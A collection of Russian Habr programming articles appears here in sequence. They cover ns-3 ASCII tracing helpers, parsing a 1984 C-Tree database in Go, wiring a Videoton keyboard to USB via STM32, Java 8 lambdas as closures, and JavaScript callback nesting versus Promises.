void EnableAsciiIpv4 (Ptr stream, std::string ipv4Name, uint32\_t interface);
void EnableAsciiIpv4 (std::string prefix, Ipv4InterfaceContainer c);
void EnableAsciiIpv4 (Ptr stream, Ipv4InterfaceContainer c);
void EnableAsciiIpv4 (std::string prefix, NodeContainer n);
void EnableAsciiIpv4 (Ptr stream, NodeContainer n);
void EnableAsciiIpv4All (std::string prefix);
void EnableAsciiIpv4All (Ptr stream);
void EnableAsciiIpv4 (std::string prefix, uint32\_t nodeid, uint32\_t deviceid, bool explicitFilename);
void EnableAsciiIpv4 (Ptr stream, uint32\_t nodeid, uint32\_t interface);
```
Рекомендуется просмотреть документацию API для класса PcapAndAsciiHelperForIpv4, чтобы узнать подробности. из этих методов, но подведу итог…
* Для ASCII-трассировки доступно в два раза больше методов, чем для PCAP-трассировки. Это потому, что в дополнение к модели в стиле PCAP, где трассы от каждой уникальной пары протокол/интерфейс записываются в уникальный файл, мы поддерживаем модель, в которой информация трассировки для многих пар протокол/интерфейс записывается в общий файл. Это означает, что механизм генерации имени файла -n — заменяется механизмом обращения к общему файлу; и число методов API удваивается, чтобы разрешить все комбинации.
* Как и в случае PCAP-трассировки, вы можете включить ASCII-трассировку для конкретной пары протокол/интерфейс, предоставив Ptr и интерфейс для метода EnableAscii. Например, В этом случае контексты трассировки не записываются в файл ASCII-трассировки, поскольку они будут избыточными. Система будет выбирать имя файла, который будет создан, используя те же правила, которые описаны в разделе PCAP, за исключением того, что файл будет иметь суффикс «.tr» вместо «.pcap».
```
Ptr ipv4;
...
helper.EnableAsciiIpv4 ("prefix", ipv4, 1);
```
* Если вы хотите включить ASCII-трассировку на нескольких интерфейсах и отправить все трассировки в один файл, вы может сделать это также с помощью объекта для ссылки на один файл. У нас уже было что-то похожее на это в примере «cwnd» выше: В этом случае контексты трассировки записываются в файл ASCII‑трассировки, поскольку они необходимы для устранения неоднозначности трассировок из двух интерфейсов. Обратите внимание, что поскольку пользователь полностью указывает имя файла, строка должна включать для единообразия суффикс «.tr».
```
Ptr protocol1 = node1->GetObject ();
Ptr protocol2 = node2->GetObject ();
...
Ptr stream = asciiTraceHelper.CreateFileStream ("trace-file-name.tr");
...
helper.EnableAsciiIpv4 (stream, protocol1, 1);
helper.EnableAsciiIpv4 (stream, protocol2, 1);
```
* Вы можете включить ASCII-трассировку для определенного протокола, предоставив методу EnablePcap объект полученный от сервиса имен объектов по имени из строки std::string. Ptr отыскивается по имени из строки. в именах результирующих файлов не указывается явно, так как существует однозначное соответствие между экземпляром протокола и узлом, например, Это приведет к созданию двух файлов с именами «prefix-nnode1Ipv4-i1.tr» и «prefix-nnode2Ipv4-i1.tr» с трассировками для каждого интерфейса в соответствующем файле. Поскольку все функции EnableAscii перегружены при реализации обертки для потоков, вы также можете использовать такую форму: Это приведет к созданию единого файла трассировки с именем «trace-file-name.tr», который содержит все события трассировки для обоих интерфейсов. События будут замещены строками контекста трассировки.
```
Names::Add ("node1Ipv4" ...);
Names::Add ("node2Ipv4" ...);
...
helper.EnableAsciiIpv4 ("prefix", "node1Ipv4", 1);
helper.EnableAsciiIpv4 ("prefix", "node2Ipv4", 1);
```
```
Names::Add ("node1Ipv4" ...);
Names::Add ("node2Ipv4" ...);
...
Ptr stream = asciiTraceHelper.CreateFileStream ("trace-file-name.tr");
...
helper.EnableAsciiIpv4 (stream, "node1Ipv4", 1);
helper.EnableAsciiIpv4 (stream, "node2Ipv4", 1);
```
* Вы можете включить ASCII-трассировку для набора пар протокол/интерфейс, предоставив Ipv4InterfaceContainer. Трассировка включится для соответствующего интерфейса, протокол которого соответствует заданному типу (типу, который передан помощнику устройств). Опять же, неявный, так как есть взаимно-однозначное соответствие между протоколом и его узлом. Например, Это приведет к созданию нескольких файлов ASCII-трассировки, каждый из которых следует соглашению:. Объединение всех трасс в один файл выполняется аналогично примеру выше:
```
NodeContainer nodes;
...
NetDeviceContainer devices = deviceHelper.Install (nodes);
...
Ipv4AddressHelper ipv4;
ipv4.SetBase ("10.1.1.0", "255.255.255.0");
Ipv4InterfaceContainer interfaces = ipv4.Assign (devices);
...
...
helper.EnableAsciiIpv4 ("prefix", interfaces);
```
```
<префикс> -n -i <интерфейс> .tr
```
```
NodeContainer nodes;
...
NetDeviceContainer devices = deviceHelper.Install (nodes);
...
Ipv4AddressHelper ipv4;
ipv4.SetBase ("10.1.1.0", "255.255.255.0");
Ipv4InterfaceContainer interfaces = ipv4.Assign (devices);
...
Ptr stream = asciiTraceHelper.CreateFileStream ("trace-file-name.tr");
...
helper.EnableAsciiIpv4 (stream, interfaces);
```
* Вы можете включить ASCII-трассировку для набора пар протокол/интерфейс, предоставив NodeContainer. Для каждого узла в NodeContainer будет найден соответствующий протокол. Для каждого протокола будут перебираться его интерфейсы и будет включена и трассировка в результирующих парах. Например, Это приведет к созданию нескольких файлов ASCII-трассировки, каждый из которых следует соглашению. Объединение всех трасс в один файл выполняется аналогично примеру выше.
```
NodeContainer n;
...
helper.EnableAsciiIpv4 ("prefix", n);
```
```
<префикс> - - <идентификатор устройства> .tr
```
* Вы можете включить PCAP‑трассировку на основе идентификаторов узла и устройства. В этом случае идентификатор узла преобразуется в Ptr , и соответствующий протокол ищется в узле. Итоговый протокол и интерфейс используются для указания результирующего источника трассировки.Конечно, трассы могут быть объединены в один файл, как показано выше.
```
helper.EnableAsciiIpv4 ("prefix", 21, 1);
```
* Наконец, вы можете включить ASCII-трассировку для всех интерфейсов в системе, чей связанный протокол будет тот же, что вы передали помощнику устройств.Это приведет к созданию нескольких файлов ASCII-трассировки, по одному на каждый интерфейс в системе, соответствующих типу протокола, переданному помощнику. Все эти файлы будут следовать соглашению. Объединение всех трасс в единый файл выполняется аналогично приведенным выше примерам.
```
helper.EnableAsciiIpv4All ("prefix");
```
```
<префиксу> -n -i .tr
```
#### Имена файлов
В приведенных выше описаниях методов в стиле префикса подразумевается создание полных имен файлов посредством метода показанного ниже. По соглашению, ASCII-трассировки в системе ns-3 имеют вид
```
<префикс>--<идентификатор-устройства>.tr
```
Как упоминалось ранее, каждый узел в системе будет иметь назначенный системой ID. Так как между протоколами и узлами есть соответствие один-к-одному, мы используем ID узла, чтобы идентифицировать идентификатор протокола. Каждый интерфейс для данного протокола будет иметь индекс (также называемый просто интерфейсом) относительно своего протокола. Тогда по умолчанию файл ASCII-трассировки, созданный в результате включения трассировки на первом устройстве узла 21 с использованием префикса «prefix», будет «prefix-n21-i1.tr». Когда в узле нескольких протоколов, используйте префикс для устранения неоднозначности.
Вы всегда можете использовать сервис имен объектов ns-3, чтобы сделать это более понятным. Например, если вы используете сервис имен объектов присвоения имени «serverIpv4» протоколу на узле 21, а также для указываете его интерфейс, результирующее имя файла ASCII-трассировки автоматически станет «prefix-nserverIpv4-1.tr».
Некоторые из методов имеют параметр по умолчанию, который называется explicitFilename. Когда установлено значение true, этот параметр отключает механизм автоматического завершения имени файла и позволяет вам указать имя файла явно. Эта опция доступно только в тех методах, которые принимают префикс и включают трассировку на одном устройстве.
7.5 Резюме
----------
Ns-3 включает в себя чрезвычайно богатую среду, позволяющую пользователям на нескольких уровнях настраивать виды информации, которые могут быть извлечены из моделирования.
Существуют высокоуровневые помощники, которые позволяют пользователям легко управлять сбором предопределенных выходных данных с тонкими подробностями. Реализованы помощники среднего уровня, которые позволяют более искушенным пользователям настраивать извлечение и сохранение информации и существуют низкоуровневые базовые функции, позволяющие опытным пользователям изменять систему представления новой и ранее не экспортированной информации таким образом, чтобы она стала доступна пользователям на более высоких уровнях.
Это очень сложная система, и мы понимаем, что ее нужно долго переваривать, особенно новым пользователям или тем, кто не достаточно хорошо знаком с C++ и его идиомами. Мы считаем систему трассировки очень важной частью ns-3 и поэтому рекомендуем как можно лучше ознакомиться с ней. Вероятно, понимание остальной части системы ns-3 станет довольно простым, как только вы освоите систему трассировки. | https://habr.com/ru/post/507472/ | null | ru | null |
# Как я парсил БД C-Tree, разработанную 34 года назад
Прилетела мне недавно задача дополнить функционал одной довольно старой програмки (исходного кода программы нет). По сути нужно было просто сканить периодически БД, анализировать информацию и на основе этого совершать рассылки. Вся сложность оказалась в том, что приложение работает с БД c-tree, написанной аж в 1984 году.
Порывшись на сайте производителя данной БД нашёл некий odbc драйвер, однако у меня никак не получалось его подключить. Многочисленные гугления так же не помогли нормально сконнектиться с базой и доставать данные. Позже было решено связаться с техподдержкой и попросить помощи у разработчиков данной базы, однако ребята честно признались что уже прошло 34 года, всё поменялось 100500 раз, нормальных драйверов для подключения на такое старьё у них нет и небось уже тех программистов в живых тоже нету, которые писали сие чудо.
Порывшись в файлах БД и изучив структуру, я понял, что каждая таблица в БД сохраняется в два файла с расширением \*.dat и \*.idx. Файл idx хранит информацию по id, индексам и т.д. для более быстрого поиска информации в базе. Файл dat содержит саму информацию, которая хранится в табличках.
Решено было парсить эти файлики самостоятельно и как-то добывать эту информацию. В качестве языка использовался Go, т.к. весь остальной проект написан на нём.
Я опишу только самый интересные моменты, с которыми я столкнулся при обработке данных, которые в основном затрагивают не сам язык Go, а именно алгоритмы вычислений и магию математики.
С ходу понять что где в файлах нереально, так как нормальной кодировки там нет, данные записываются в какие-то определённые биты и изначально больше похоже на мусорку данных.
Вдохновляющую фразочку я получил от клиента с небольшим описанием, почему так:”\*\*\*\* was a MS-DOS application running on 8086 processors and memory was scarce”.
Логика работы была таковой: назначаю в программе какие-то новые данные, смотрю какие файлы изменялись и затем пытаюсь выщемить биты данных, которые поменяли значения.
В процессе разработки я понял следующие важные правила, которые мне помогли разобраться быстрее:
* начало и конец файла (размер всегда разный) зарезервированы под табличные данные
* длина строки в таблице занимает всегда одно и то же количество байт
* вычисления проводятся в 256ричной системе
#### Время в расписании
В приложении создаётся расписание с интервалом в 15 минут (Например 12:15 – 14:45). Потыкав в разное время, нашёл область памяти, которая отвечает за часы. Я считываю данные из файла побайтово. Для времени используется 2 байта данных.
Каждый байт может содержать значение от 0 до 255. При добавлении в расписание 15 минут в первый байт добавляется число 15. Плюсуем ещё 15 минут и в байте уже число 30 и т.д.
Например у нас следующие значения:
*[0] [245]*
Как только значение превышает 255, в следующий байт добавляется 1, а в текущий записывается остаток.
*245 + 15 = 260
260 – 256 = 4*
Итого имеем значение в файле:
*[1] [4]*
А теперь внимание! Очень интересная логика. Если это диапазон с 0 минут до 45 минут в часе, то в байты добавляется по 15 минут. НО! Если это последние 15 минут в часе (с 45 до 60), то в байты добавляется число 55.
Получается что 1 час всегда равен числу 100. Если у нас 15 часов 45 минут, то в файле мы увидим такие данные:
*[6] [9]*
А теперь включаем немного магии и переводим значения из байтов в целое число:
*6 \* 256 + 9 = 1545*
Если разделить это число на 100, то целая часть будет равна часам, а дробная – минутам:
*1545/100 = 15.45*
Кодяра:
```
data, err := ioutil.ReadFile(defaultPath + scheduleFileName)
if err != nil {
log.Printf("[Error] File %s not found: %v", defaultPath+scheduleFileName, err)
}
timeOffset1 := 98
timeOffset2 := 99
timeSize := 1
//first 1613 bytes reserved for table
//one record use 1598 bytes
//last 1600 bytes reserved for end of table
for position := 1613; position < (len(data) - 1600); position += 1598 {
...
timeInBytesPart1 := data[(position + timeOffset2):(position + timeOffset2 + timeSize)]
timeInBytesPart2 := data[(position + timeOffset1):(position + timeOffset1 + timeSize)]
totalBytes := (int(timeInBytesPart1[0]) * 256) + int(timeInBytesPart2[0])
hours := totalBytes / 100
minutes := totalBytes - hours*100
...
}
```
#### Дата в расписании
Логика работы вычисления значения из байт для дат такая же как и во времени. Байт заполняется до 255, затем обнуляется, а в следующий байт добавляется 1 и т.д. Только для даты уже было выделено не два, а четыре байта памяти. Видимо разработчики решили, что их приложение может прожить ещё несколько миллионов лет. Получается, что максимальное число, которое мы можем получить равно:
*[255] [255] [255] [256]
256 \* 256 \* 256 \* 256 + 256 \* 256 \* 256 + 256 \* 256 + 256 = 4311810304*
Эталонная стартовая дата в приложении равна 31 декабря 1849. Конкретную дату считаю путём добавления дней. Я изначально знаю, что AddDate из пакета time имеет ограничение и не сможет скушать 4311810304 дней, однако на ближайшие лет 200 хватит).
Проанализировав приличное количество файлов я нашёл три варианта расположения дат в памяти:
* считывание байт, конкретного участка памяти, необходимо проводить слева направо
* считывание байт, конкретного участка памяти, необходимо проводить справа налево
* между каждым «полезным байтом» данных вставляется нулевой байт. Например [1] [0] [101] [0][100] [0] [28]
Мне так и не удалось понять, зачем использовалась разная логика для расположения данных, но принцип подсчёта даты везде одинаковый, главное правильно доставать данные.
Кодяра:
```
func getDate(data []uint8) time.Time {
startDate := time.Date(1849, 12, 31, 0, 00, 00, 0, time.UTC)
var result int
for i := 0; i < len(data)-1; i++ {
var sqr = 1
for j := 0; j < i; j++ {
sqr = sqr * 256
}
result = result + (int(data[i]) * sqr)
}
return startDate.AddDate(0, 0, result)
}
```
#### Расписание доступности
У сотрудников есть расписание доступности. В день можно назначить до трёх интервалов времени. Например:
*8:00 – 13:00
14:00 – 16:30
17:00 – 19:00*
Расписание может быть назначено на любой день недели. Мне необходимо было сгенерировать расписание на ближайшие 3 месяца.
Вот примерная схема хранения данных в файле:
Я вырезаю из файла каждую запись по отдельности, затем смещаюсь на определённое количество байт в зависимости от дня недели и там уже обрабатываю время.
Кодяра:
```
type Schedule struct {
ProviderID string `json:"provider_id"`
Date time.Time `json:"date"`
DayStart string `json:"day_start"`
DayEnd string `json:"day_end"`
Breaks *ScheduleBreaks `json:"breaks"`
}
type SheduleBreaks []*cheduleBreak
type ScheduleBreak struct {
Start time.Time `json:"start"`
End time.Time `json:"end"`
}
func ScanSchedule(config Config) (schedules []Schedule, err error) {
dataFromFile, err := ioutil.ReadFile(config.DBPath + providersFileName)
if err != nil {
return schedules, err
}
scheduleOffset := 774
weeklyDayOffset := map[string]int{
"Sunday": 0,
"Monday": 12,
"Tuesday": 24,
"Wednesday": 36,
"Thursday": 48,
"Friday": 60,
"Saturday": 72,
}
//first 1158 bytes reserved for table
//one record with contact information use 1147 bytes
//last 4494 bytes reserved for end of table
for position := 1158; position < (len(dataFromFile) - 4494); position += 1147 {
id := getIDFromSliceByte(dataFromFile[position:(position + idSize)])
//if table border (id equal "255|255"), then finish parse file
if id == "255|255" {
break
}
position := position + scheduleOffset
date := time.Now()
//create schedule on 3 future month (90 days)
for dayNumber := 1; dayNumber < 90; dayNumber++ {
schedule := Schedule{}
offset := weeklyDayOffset[date.Weekday().String()]
from1, to1 := getScheduleTimeFromBytes((dataFromFile[(position + offset):(position + offset + 4)]), date)
from2, to2 := getScheduleTimeFromBytes((dataFromFile[(position + offset + 1):(position + offset + 4 + 1)]), date)
from3, to3 := getScheduleTimeFromBytes((dataFromFile[(position + offset + 2):(position + offset + 4 + 2)]), date)
//no schedule on this day
if from1.IsZero() {
continue
}
schedule.Date = time.Date(date.Year(), date.Month(), date.Day(), 0, 0, 0, 0, time.UTC)
schedule.DayStart = from1.Format(time.RFC3339)
switch {
case to3.IsZero() == false:
schedule.DayEnd = to3.Format(time.RFC3339)
case to2.IsZero() == false:
schedule.DayEnd = to2.Format(time.RFC3339)
case to1.IsZero() == false:
schedule.DayEnd = to1.Format(time.RFC3339)
}
if from2.IsZero() == false {
scheduleBreaks := ScheduleBreaks{}
scheduleBreak := ScheduleBreak{}
scheduleBreak.Start = to1
scheduleBreak.End = from2
scheduleBreaks = append(scheduleBreaks, &scheduleBreak)
if from3.IsZero() == false {
scheduleBreak.Start = to2
scheduleBreak.End = from3
scheduleBreaks = append(scheduleBreaks, &scheduleBreak)
}
schedule.Breaks = &scheduleBreaks
}
date = date.AddDate(0, 0, 1)
schedules = append(schedules, &schedule)
}
}
return schedules, err
}
//getScheduleTimeFromBytes calculate bytes in time range
func getScheduleTimeFromBytes(data []uint8, date time.Time) (from, to time.Time) {
totalTimeFrom := int(data[0])
totalTimeTo := int(data[3])
//no schedule
if totalTimeFrom == 0 && totalTimeTo == 0 {
return from, to
}
hoursFrom := totalTimeFrom / 4
hoursTo := totalTimeTo / 4
minutesFrom := (totalTimeFrom*25 - hoursFrom*100) * 6 / 10
minutesTo := (totalTimeTo*25 - hoursTo*100) * 6 / 10
from = time.Date(date.Year(), date.Month(), date.Day(), hoursFrom, minutesFrom, 0, 0, time.UTC)
to = time.Date(date.Year(), date.Month(), date.Day(), hoursTo, minutesTo, 0, 0, time.UTC)
return from, to
}
```
В целом хотелось просто поделиться знаниями о том, какими алгоритмами вычислений пользовались раньше. | https://habr.com/ru/post/351658/ | null | ru | null |
# Подключаем старую венгерскую клавиатуру Videoton по USB
Не знаю откуда она у меня взялась и зачем, но при очередной уборке на даче и спотыкания об эту доску который раз встал вопрос — выкинуть ее нафиг, или все-таки запустить зверушку и потом выкинуть?
Videoton VDN 51521 (TYP: 52501)По всей видимости, от какого-то венгерского терминала Videoton. Весу, надо сказать, она немалого и кнопки нажимаются так же, как и в IBM Model M - мягко, приятно, с легким щелчком. Если я правильно понял, то клавиатура — на датчиках Холла, а может быть и нет, да и не особо важно. Разрыв не затуманенного БК'шками 0010-01 мозга начинается при внимательном взгляде на раскладку клавиатуры - русская тут привычная ЙЦУКЕН, а вот английская - фонетическая JCUKEN, что лично меня сперва поставило в ступор. Для набора какой-либо простой команды, типа DIR, скорость печати упала примерно до одного символа в пол-минуты. Потом я конечно понял чит - произносить про себя английское слово, в мозгу его транслитирировать, и уже как-бы печатать его по-русски ориентируясь на русские буквы - тогда скорость печати немного возрастает. В общем, забавная штука и пора бы уже её подключать к компу. Гугл про распиновку разъема конечно ничего не знает, ровно как и не знает от какого конкретно она терминала, поэтому вскрываем и смотрим кишочки:
Без верхней крышкиПровод уходящий на разъемХорошо, что без всяких микропроцессоров, просто стандартная логика, значит не надо подключать логический анализатор. То, что там параллельный, а не последовательный интерфейс, было понятно с самого начала, по количеству контактов в разъеме. Значит, срисовываем на глаз приблизительное место соединения кабеля с клавой:
Приблизительная схемаПосле чего всё становится ясно и понятно как белый день. Перебираем строки и столбцы, если клавиша нажата в /BST получаем низкий уровень. Нужно придумать какое-то устройство, которое переберет все строки/столбцы и выдаст нам коды нажатой клавиши для составления таблички скан-кодов клавиш. Самое быстрое здесь - откопать комп с LPT портом, нарисовать по быстрому на дельфях формочку, в которой отображается кей-код клавиши и составить с помощью этой временной конструкции примерно такую табличку:
```
#define VDN_BREAK 0x01
#define VDN_ESC 0x59
#define VDN_OFFLINE 0x41
#define VDN_ONLINE 0x11
#define VDN_MPON 0x19
#define VDN_PAR 0x21
#define VDN_ROLL 0x29
...skip...
```
Закапываем обратно комп с LPT и дельфями туда, где взяли. Берем какой-нибудь микроконтроллер STM32 с USB-device на борту и какую-нибудь чистую плату, с посадочным местом для этого микроконтроллера. Вкуриваем немного мануал по этому STM32, находим у него ноги, которые толерантны к 5V TTL логике, их и используем для подключения к нашей пяти-вольтовой клавиатуре. Далее паяем контроллер на плату, колхозим что-нибудь с питанием для микроконтроллера. Да, например, с помощью обычного линейного стабилизатора 3.3V, не долго думая. Соединяем все небольшим количеством МГТФ, немного вкуриваем про дескрипторы HID-устройств, рисуем в CubeMX ножки и сразу включаем USB. Затем чуть-чуть разбавляем говнокод, сгенерированный CubeMX, своим говнокодом, и включаем конструкцию:
Вон на той белой платке stm32 перебирает строки/столбцыВот и всё, получили стандартную USB-клавиатуру с интересной английской раскладкой, винтажным внешним видом, мягким ходом клавиш и прикольными щелчками:
Можно поставить на рабочее место и попросить кого-нибудь подретактировать какой-то текст - реакция бесценна. Правда не особо придумал, на что в USB клавиатуре забиндить кнопки типа OFF LINE, ON LINE, MP ON, PAR, ROLL, DPLX, SEND, VAL DUP и тд, но но это уже совсем другая история (C) | https://habr.com/ru/post/659957/ | null | ru | null |
# Лямбда-выражения Java 8 — это замыкания?
Развернутый ответ на вопрос, вынесенный в заглавие поста, приводится в статье Брюса Эккеля в редакции от 25 ноября 2015 года. Мы решили разместить здесь перевод этой статьи и поинтересоваться, что вы думаете о функциональном программировании в Java, а также об актуальности такой книги:
Приятного чтения!
Если кратко – конечно да.
Чтобы дать более развернутый ответ, давайте все-таки разберемся: а зачем мы с ними работаем?
**Абстракция поведения**
В сущности, лямбда-выражения нужны потому, что они описывают, какие вычисления должны быть выполнены, а не как их выполнять. Традиционно мы работали с внешней итерацией, при которой четко указывали всю последовательность операций, а также как они делаются.
```
// InternalVsExternalIteration.java
import java.util.*;
interface Pet {
void speak();
}
class Rat implements Pet {
public void speak() { System.out.println("Squeak!"); }
}
class Frog implements Pet {
public void speak() { System.out.println("Ribbit!"); }
}
public class InternalVsExternalIteration {
public static void main(String[] args) {
List pets = Arrays.asList(new Rat(), new Frog());
for(Pet p : pets) // External iteration
p.speak();
pets.forEach(Pet::speak); // Internal iteration
}
}
```
Внешняя итерация выполняется в цикле `for`, причем этот цикл в точности указывает, как она делается. Такой код избыточен и неоднократно воспроизводится в программах. Однако с циклом `forEach` мы приказываем программе вызвать speak (здесь – при помощи ссылки на метод, которая более лаконична, чем лямбда) для каждого элемента, но нам не приходится описывать, как работает цикл. Итерация обрабатывается внутрисистемно, на уровне цикла `forEach`.
Такая мотивация “что, а не как” в случае лямбда-выражений является основной. Но, чтобы понять замыкания, нужно подробнее рассмотреть мотивацию функционального программирования как такового.
**Функциональное программирование**
Лямбда-вырражения/замыкания призваны упростить функциональное программирование. Java 8 – конечно, не функциональный язык, но в нем (как и в Python) теперь обеспечивается некоторая поддержка функционального программирования, эти возможности надстроены над базисной объектно-ориентированной парадигмой.
Основная идея функционального программирования заключается в том, что можно создавать функции и манипулировать ими, в частности, создавать функции во время исполнения. Соответственно, ваша программа может оперировать не только данными, но и функциями. Представьте, какие возможности открываются перед программистом.
В *чисто* функциональном языке программирования есть и другие ограничения, в частности — инвариантность данных. То есть, у вас нет переменных, только неизменяемые значения. На первый взгляд это ограничение кажется чрезмерным (как вообще работать без переменных?), но оказывается, что, в сущности, при помощи значений достижимо все то же самое, что и с переменными (хотите убедиться – попробуйте Scala, этот язык не является чисто функциональным, но предусматривает возможность везде пользоваться значениями). Инвариантные функции принимают аргументы и выдают результат, не изменяя окружения; поэтому ими значительно проще пользоваться при параллельном программировании, ведь инвариантная функция не блокирует разделяемые ресурсы.
До выхода Java 8 можно было создавать функции во время выполнения только одним способом: генерировать и загружать байт-код (это довольно запутанная и сложная работа).
Для лямбда-выражений характерны две следующие черты:
1. Более лаконичный синтаксис при создании функций
2. Возможность создавать функции во время исполнения; затем эти функции могут передаваться другому коду, либо другой код может ими оперировать.
Замыкания касаются именно второй возможности
**Что такое замыкание?**
При замыкании используются переменные, расположенные вне области действия функции. В традиционном процедурном программировании это не представляет проблемы — вы просто используете переменную — но проблема возникает, как только мы начинаем создавать функции во время исполнения. Чтобы проиллюстрировать эту проблему, сначала приведу пример с Python. Здесь `make_fun()` создает и возвращает функцию под названием`func_to_return`, которая затем используется в остальной части программы:
```
# Closures.py
def make_fun():
# вне области видимости возвращенной функции:
n = 0
def func_to_return(arg):
nonlocal n
# Без 'nonlocal' n += arg дает:
# ссылка на локальную переменную 'n' стоит до присваивания
print(n, arg, end=": ")
arg += 1
n += arg
return n
return func_to_return
x = make_fun()
y = make_fun()
for i in range(5):
print(x(i))
print("=" * 10)
for i in range(10, 15):
print(y(i))
""" Вывод:
0 0: 1
1 1: 3
3 2: 6
6 3: 10
10 4: 15
==========
0 10: 11
11 11: 23
23 12: 36
36 13: 50
50 14: 65
"""
```
Обратите внимание, что `func_to_return` работает с двумя полями, не входящими в ее область видимости: `n` и `arg` (в зависимости от конкретного случая, `arg` может быть копией либо ссылаться на что-либо вне области видимости). Объявление nonlocal является обязательным в силу самого устройства Python: если вы только начинаете работать с переменной, то предполагается, что эта переменная локальна. Здесь компилятор (да, в Python есть компилятор и да, он выполняет кое-какую – признаться, весьма ограниченную – проверку статических типов) видит, что `n += arg` использует n, которое не было инициализировано в области видимости `func_to_return`, поэтому генерируется сообщение об ошибке. Но если мы скажем, что `n` является `nonlocal`, Python догадается, что мы используем `n`, определенное вне области видимости функции, и которое было инициализировано, так что все в порядке.
Итак, мы сталкиваемся с такой проблемой: если просто вернуть `func_to_return`, что будет с `n`, находящимся вне области видимости `func_to_return`? Как правило, следовало бы ожидать, что n выйдет из области видимости и станет недоступным, но если это произойдет, то `func_to_return` не будет работать. Для поддержки динамического создания функций `func_to_return` должна “замкнуться” вокруг n и обеспечить, чтобы оно «дожило» до возврата функции. Отсюда и термин «замыкание».
Чтобы протестировать `make_fun()`, мы дважды его вызываем и сохраняем результат функции в x и y. Тот факт, что x и y дают совершенно разные результаты, демонстрирует, что что при каждом вызове `make_fun()` возникает совершенно самостоятельная функция `func_to_return` с собственным замкнутым хранилищем для `n`.
**Лямбда-выражения в Java 8**
Рассмотрим тот же пример на Java с использованием лямбда-выражений:
```
// AreLambdasClosures.java
import java.util.function.*;
public class AreLambdasClosures {
public Function make\_fun() {
// вне области видимости возвращенной функции:
int n = 0;
return arg -> {
System.out.print(n + " " + arg + ": ");
arg += 1;
// n += arg; // выдает сообщение об ошибке
return n + arg;
};
}
public void try\_it() {
Function
x = make\_fun(),
y = make\_fun();
for(int i = 0; i < 5; i++)
System.out.println(x.apply(i));
for(int i = 10; i < 15; i++)
System.out.println(y.apply(i));
}
public static void main(String[] args) {
new AreLambdasClosures().try\_it();
}
}
/\* Output:
0 0: 1
0 1: 2
0 2: 3
0 3: 4
0 4: 5
0 10: 11
0 11: 12
0 12: 13
0 13: 14
0 14: 15
\*/
```
Неоднозначная штука: мы действительно можем обратиться к n, но как только попытаемся изменить n, начнутся проблемы. Сообщение об ошибке таково: local variables referenced from a lambda expression must be final or effectively final (локальные переменные, на которые ставится ссылка из лямбда-выражения, должны быть финальными или фактически финальными).
Оказывается, что лямбда-выражения в Java замыкаются только вокруг значений, но не вокруг переменных. Java требует, чтобы эти значения были неизменны, как если бы мы объявили их final. Итак, они должны быть final независимо от того, объявляли вы их таким образом или нет. То есть, «фактически финальными». Поэтому в Java есть «замыкания с ограничениями», а не «полноценные» замыкания, которые, тем не менее, довольно полезны.
Если мы создаем объекты, расположенные не в куче, то можем изменять такие объекты, поскольку компилятор следит лишь за тем, чтобы не изменялась сама ссылка. Например:
```
// AreLambdasClosures2.java
import java.util.function.*;
class myInt {
int i = 0;
}
public class AreLambdasClosures2 {
public Consumer make\_fun2() {
myInt n = new myInt();
return arg -> n.i += arg;
}
}
```
Все компилируется без проблем, чтобы в этом убедиться можете просто поставить ключевое слово `final` в определение `n`. Разумеется, если применить такой ход с любой конкуренцией, то возникнет проблема с изменяемым разделяемым состоянием.
Лямбда-выражения – как минимум, отчасти – позволяют достичь желаемой цели: теперь можно создавать функции динамически. Если вы выйдете за границы, то получите сообщение об ошибке, но обычно подобные проблемы решаемы. Выход будет не таким прямолинейным, как на Python, но ведь это все-таки Java. А конечный результат, не лишенный некоторых ограничений (давайте признаем, любой результат в Java не лишен некоторых ограничений) не так уж и плох.
Я поинтересовался, почему же эти структуры назвали «лямбдами», а не просто «замыканиями» — ведь по всем признакам это чистые замыкания. Мне ответили, что «замыкание» — неудачный и перегруженный термин. Когда кто-то говорит «настоящее замыкание», то зачастую имеет в виду такие «замыкания», которые попались ему в первом освоенном языке программирования, где имелись сущности, именуемые «замыканиями».
Я не усматриваю здесь спора «ООП против ФП», впрочем, и не собирался его устраивать. Более того, я даже «против» здесь не вижу. ООП хорошо подходит для абстрагирования данных (и пусть даже Java вынуждает вас работать с объектами, это еще не означает, что любая задача решаема при помощи объектов), а ФП — для абстрагирования поведений. Обе парадигмы полезны, и, на мой взгляд, тем более полезны, если их смешивать — и в Python, и в Java 8. Недавно мне довелось поработать с Pandoc — конвертером, написанном на чисто функциональном языке Haskell, причем у меня остались от этого самые положительные впечатления. Итак, чисто функциональные языки, также заслуживают места под солнцем. | https://habr.com/ru/post/281026/ | null | ru | null |
# Как разравнять Пирамиду смерти
Настроить webpack по мануалу, запрограммировать ангуляр и даже послать json по ajax — кажись каждый может, но вот как взглянешь на сам код… В этом посте будет показана разница между нововведениями.
Итак вы открыли ноду и увидели, что почти все функции «из коробки» последним аргументом принимают колбэк.
```
var fs = require("fs");
fs.readdir(__dirname, function(error, files) {
if (error) {
console.error(error);
} else {
for (var i = 0, j = files.length; i < j; i++) {
console.log(files[i]);
}
}
});
```
**Пирамида смерти**
А в чем собственно проблема? Проблема в том, что на маке с ретиной порой заканчивается место под пробелы (конечно можно сказать, что 4 пробела на таб — роскошь) и весь код маячит далеко справа при использовании хотя бы десятка таких функций подряд.
```
var fs = require("fs");
var path = require("path");
var buffers = [];
fs.readdir(__dirname, function(error1, files) {
if (error1) {
console.error(error1);
} else {
for (var i = 0, j = files.length; i < j; i++) {
var file = path.join(__dirname, files[i]);
fs.stat(file, function(error2, stats) {
if (error2) {
console.error(error2);
} else if (stats.isFile()) {
fs.readFile(file, function(error3, buffer) {
if (error3) {
console.error(error3);
} else {
buffers.push(buffer);
}
});
}
});
}
}
});
console.log(buffers);
```
Так что же c этим можно сделать? Не применяя библиотек, для наглядности, так как с ними все примеры не займут и строчки кода, дальше будет показано как с этим справиться используя сахар es6 и es7.
**Promise**
Встроенный объект позволяющий немного разравнять пирамиду:
```
var fs = require("fs");
var path = require("path");
function promisify(func, args) {
return new Promise(function(resolve, reject) {
func.apply(null, [].concat(args, function(error, result) {
if (error) {
reject(error);
} else {
resolve(result);
}
}));
});
}
promisify(fs.readdir, [__dirname])
.then(function(items) {
return Promise.all(items.map(function(item) {
var file = path.join(__dirname, item);
return promisify(fs.stat, [file])
.then(function(stat) {
if (stat.isFile()) {
return promisify(fs.readFile, [file]);
} else {
throw new Error("Not a file!");
}
})
.catch(function(error) {
console.error(error);
});
}));
})
.then(function(buffers) {
return buffers.filter(function(buffer) {
return buffer;
});
})
.then(function(buffers) {
console.log(buffers);
})
.catch(function(error) {
console.error(error);
});
```
